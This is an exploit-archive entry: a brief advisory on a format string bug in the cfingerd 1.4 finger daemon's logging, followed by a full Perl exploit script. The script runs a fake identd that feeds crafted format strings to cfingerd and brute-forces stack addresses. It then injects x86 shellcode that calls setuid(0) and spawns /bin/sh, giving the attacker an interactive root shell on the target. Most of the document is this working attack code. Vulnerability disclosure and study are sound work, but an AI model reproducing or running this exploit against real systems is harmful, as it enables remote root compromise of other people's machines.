cfingerd 1.4 Format String Vulnerability (1)



source: http://www.securityfocus.com/bid/2576/info


A format string bug in the logging facility of the cfingerd "Configurable Finger Daemon" allows remote users to attain root privileges and execute arbitrary code.

cfingerd queries and logs the remote username of users of the service. If an attacker sets up a remote machine that returns specific format strings instead of a valid username, and connects to cfingerd from that machine, he can exploit the format string bugs. Because cfingerd runs as root, this means the attacker gains full control of the cfingerd host.

An exploit is available against x86 versions of cfingerd.

#!/usr/bin/perl
# Cfingerd exploit to the recent syslog format bug.
# Discovered and written by Lez <abullah@freemail.hu> in 2001.
# you have to use it as root to bind port 113.

# tested on Debian 2.1, 2.2

use IO::Socket;
#use strict;

my $network_timeout=5;
my $sleep_between_fingers=2;  # should be enough
my $debug_sleep=0;

my $fingerport=79;
my $target=$ARGV[0];
my $debug=1;
my $test_vulnerability=1;

# Debian 2.2, cfingerd 1.4.1-1
#my $control=33;  # if don't set it, exploit will find.
#my $align=0;     # the same
#$retaddr=0xbffffab0;
# my $retaddr=0xbffff880;  # the same
#$retaddr=0xbffff840;


my $retvalue=0xbffff980;  # If it finds everything correctly, and says Shell lunched, but
                          # you can't find your uid 0, decrease $retvalue by 30.
my $bytes_written=32;

#$control=17;
#$align=0;
#$retaddr=0xbffffb80;   #(or 0xbffffb68 0xbffff9d0 0xbffff9cc 0xbffff9c8)
#$retvalue=0xbffffc20;
#$bytes_written=32;



# GOOD:
my $startsig11=0xbffffbfc;
my $endsig11=  0xbffff000;

my $controlstart=45;
my $controlend=1;

my $fclient;

my $shellcode ="\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80".
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";
                                                        #59 bytes

if (!$target) {print "Usage: $0 target\n";exit}

# Starting fake identd
my $identd = IO::Socket::INET->new(
                Listen => 5,
                LocalPort => 113,
                Proto     => 'tcp',
                Reuse     => 3) or die "Cannot listen to port 113: $!\n";

if ($test_vulnerability) {&testvuln}

if (!$control) { &get_control_and_align }
else {print "Alignment: $align\nControl: $control\n" }

if (!$retaddr) {
    &find_and_exploit_sigsegv_values
}
else {
    printf "Using provided RET address: 0x%x\n",$retaddr;
    &exploit ($retaddr, $retvalue);
}


exit;




sub sendthisone { #sends a string to cfingerd, and returns 1 if the remote machine got SIGSEGV or SIGILL.
                  # a bit tricky
    my $text_to_send=$_[0];

    $text_to_send =~ s/^\ /\ \ /;

    my ($last_119, $gotback);

    $fclient = IO::Socket::INET->new("$target:$fingerport") or die "Cannot connect to $target: $!\n";
    print $fclient "e\n"; # e is the username we query.

    my $ident_client = $identd-> accept;

    my $tmp=<$ident_client>;


    my $first_64= substr($text_to_send, 0, 64);
    if (length($text_to_send) > 64) {
        $last_119= substr($text_to_send,64);
    }

    sleep $debug_sleep;

    print $ident_client "$last_119: : :$first_64\n"; # we use an other bug
                                                     # in rfc query function
                                                     # to send longer lines.
    close $ident_client;

    eval {
        local $SIG{ALRM} = sub { die "alarm\n"};
        alarm ($network_timeout);
        $gotback= <$fclient>;
        alarm 0;
    };
    if ($@) {
        die unless $@ eq "alarm\n";
        &shell;
    }

    if ($gotback =~ /SIGSEGV/i) {
        if ($debug == 2) {print "Sending $first_64$last_119: SIGSEGV\n";}
        elsif ($debug == 1) {system ("echo -n \"*\"");}
        sleep ($sleep_between_fingers);
        return 1;
    } elsif ($gotback =~ /SIGILL/i) {
        if ($debug == 2) {print "Sending $first_64$last_119: SIGILL\n";}
        elsif ($debug == 1) {system ("echo -n +");}
        print "Got signal \"Illegal instruction\".\nThe ret address is not correct\n";
        sleep ($sleep_between_fingers);
        return 1;
    } else {
        if ($debug == 2) {print "Sending $first_64$last_119\n";}
        elsif ($debug == 1) {system ("echo -n .");}
        sleep ($sleep_between_fingers);
        return 0;
    }
}


sub get_control_and_align {
    for ($control=$controlstart; $control >= $controlend; $control--) {
        for ($align=3; $align>=0; $align--) {
            my $s1= "A"x$align . "\x79\xff\xff\xbe" . "%" . $control . "\$n";
            my $s2= "A"x$align . "\x79\xff\xff\xbf" . "%" . $control . "\$n";

            if (sendthisone($s1) > sendthisone ($s2)) {
                print "\nControl: $control\nAlign: $align\n";
                return;
            }
        }
    }
    die "Could not find control and alignment values\n";
}

sub find_and_exploit_sigsegv_values {
    my ($sendbuf, @back, $addy, $retaddr, $save);

    print "Searching for eip addresses...\n";

    for ($addy=$startsig11; $addy >= $endsig11; $addy -=4) {
        $sendbuf = "a"x$align . pack "cccc",$addy,$addy>>8,$addy>>16,$addy>>24;
        $sendbuf .= "%" . $control . "\$n";

        if ($addy%0x100) {
            if (sendthisone($sendbuf)) {

                &exploit ($addy, $retvalue);    # I'm so lazy
                &exploit ($addy, $retvalue-60);
                &exploit ($addy, $retvalue+60);
                &exploit ($addy, $retvalue-120);
                &exploit ($addy, $retvalue+120);
                &exploit ($addy, $retvalue-180);
                &exploit ($addy, $retvalue+180);
                &exploit ($addy, $retvalue-240);
                &exploit ($addy, $retvalue+240);
                &exploit ($addy, $retvalue-300);
                &exploit ($addy, $retvalue+300);
                &exploit ($addy, $retvalue-360);
                &exploit ($addy, $retvalue+360);
                &exploit ($addy, $retvalue-420);
                &exploit ($addy, $retvalue+420);

            }
        }
    }
}

sub exploit {

    my $addy=$_[0];
    my $value=$_[1];

    my $sendbuf;

    printf "\nExploiting 0x%x, ret:0x%x.\n",$addy,$value;

    $sendbuf = "Z"x$align;
    $sendbuf .= &add_four_addresses($addy);
    $sendbuf .= &add_format_strings($value);

    $sendbuf .= "\x90"x (182-length($sendbuf)-length($shellcode));
    $sendbuf .= $shellcode;

    &sendthisone ($sendbuf);
}

sub add_four_addresses {
    my $addy=$_[0];
    my ($back, $i);

    for ($i=0; $i<=3; $i++) {
        $back .= pack "cccc",
                    ($addy+$i),
                    ($addy+$i)>>8,
                    ($addy+$i)>>16,
                    ($addy+$i)>>24;
    }
    return $back;
}

sub add_format_strings {
    my ($back, $i, @a, $xvalue, $nvalue, $back);
    my $ret=$_[0];

    $a[0]=$ret%0x100-$bytes_written;

    for ($i=1; $i<=3; $i++) {
        $a[$i]= ($ret >> (8*$i) )%0x100 - ($ret >> (8*($i-1)) )%0x100;
    }

    for ($i=0; $i<=3; $i++) {
        $xvalue= &positive($a[$i]);
        $nvalue= $control+$i;

        if ($xvalue <=8) {
            $back .= "A"x$xvalue          .       "%".$nvalue."\$n";
        } else {
            $back .= "%0".$xvalue."x"     .       "%".$nvalue."\$n";
        }
    }
    return $back;
}

sub positive {
    my $number=$_[0];
    while ($number < 0) {
        $number += 0x100;
    }
    return $number;
}

sub shell {
    my ($cucc, $msg);

    print "Shell launched\n";
    print $fclient "id\n";
    print &my_line(1);

    while (1) {
        $cucc=<STDIN>;
        print $fclient $cucc;

        while ($msg=&my_line(1)) {
            print $msg;
        }
    }
}

sub my_line {
    my $msg;
    eval {
        local $SIG{ALRM} = sub { die "\n"};
        alarm ($_[0]);
        if ($msg=<$fclient>) {
            alarm (0);
            return $msg;
        }
    };
}

sub testvuln {
    if ($debug) {print "Testing if fingerd is vulnerable...   "}
    if (&sendthisone ("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n")) {
        print "Yes.\n";
        return;
    } else {
        print "No.\n";
        exit;
    }
}